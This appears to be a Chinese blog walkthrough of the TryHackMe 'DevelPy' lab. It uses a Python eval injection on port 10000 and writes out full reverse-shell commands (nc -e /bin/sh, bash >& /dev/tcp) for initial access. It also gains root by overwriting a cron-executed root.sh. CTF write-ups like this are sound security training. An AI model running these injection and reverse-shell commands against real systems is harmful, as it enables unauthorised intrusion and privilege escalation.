当前位置: 首页 > news >正文

DevelPy-TryHackMe

DevelPy-TryHackMe

一、信息收集

  • 这次没有开放80端口了,这里nmap扫描出来给了一个很奇怪的服务,这看起来像是靶机作者故意写的一个 交互式 Python 脚本服务,挂在 10000 端口,它会要求你输入内容,然后报错(显示 Python 源码片段),用nc连接试试
nmap -sV -sC -O   10.10.216.119

image-20250911105309559

二、内网渗透

  • 我这里使用nc连接然后输入了10 这里就返回来 10次数据包,如果开发者用了危险函数(比如 eval(input())os.system(input())),那就有可能 输入被当成命令执行

image-20250911110300748

  • 这里我们尝试执行命令的 Python 代码,成功看到了用户权限,那么我们这里就直接构建payload反弹shell
__import__('os').system('id')

image-20250911110925229

  • 构造payload发送过去
__import__('os').system('nc -e /bin/sh 10.17.35.134 4444 ')

image-20250911111302962

  • 开启新的终端启动监听端口,拿到shell,至此我们拿到第一个flag
nc -lvnp 4444

image-20250911111453645

三、提权

  • 我们看看当前用户有什计划任务执行,root.sh 文件由 root 用户通过 cron 在任何时刻执行。因此,通过修改其内容,我们可以执行一个脚本以连接到 root shell。当完成这一步后,我们就能获得 root 访问权限

image-20250911113035440

  • 我们删除root.sh文件再将我们反弹shell的命令写入,当任务执行的时候我们就能拿到rootshell
echo "bash -i >& /dev/tcp/[Your IP]/5555 0>&1" > root.sh

image-20250911113222955

  • 这里启动监听端口
nc -l -vv -p 5555

image-20250911112954718

成功获得root shell

http://www.wxhsa.cn/company.asp?id=937

相关文章:

  • 记录一次解决phpstudy启动数据库自动关闭的问题方法
  • cache redis
  • 《爱上情感:自然魅力的社交》
  • Java的基本数据类型
  • H5游戏性能优化系列-----配置相关优化
  • 300 毫秒生成情感 AI 视频,Nuance Labs 获千万美元融资;AirPods Pro 3 将集成实时语音翻译丨日报
  • 认知引擎:企业下一个决胜分水岭
  • node.js安装地址
  • 【已解决】git Encountered 3 file(s) that should have been pointers, but werent
  • 接雨水-leetcode
  • Codeforces Round 1049 (Div. 2) E
  • ES深度分页优化
  • 2025年8月国产数据库大事记:东莞银行1078万采购OceanBase、821万采购腾讯TDSQL,2025上半年达梦净利2亿、金仓净利润飙升……
  • VSCode安装Jupyter的常见问题
  • 批量设置Excel样式格式(如:纸张大小,排版,字体等)+ 支持windows系统
  • 张瑜:牛市进程之十大观察指标 - Leone
  • QT-控件使用-获取lable标签宽高尺寸设置图片
  • 初识python:一些基础的知识(推导式)
  • RK3588+preemrt+ethercat搭建
  • Windows 11 系统优化
  • 碎碎念(十六)
  • PK-2600-ALG-2 三同轴转鳄鱼夹测试线应用案例
  • RK3588+xenomai3+ethercat搭建
  • 从英伟达到国产算力:一场必须打赢的“迁移之战”
  • 小说写法分析-个人随记
  • Nuget的不是所配置的源之一
  • part 3
  • 微服务高可用高并发方案
  • Adobe PDF Reader实现旋转PDF功能
  • start.bat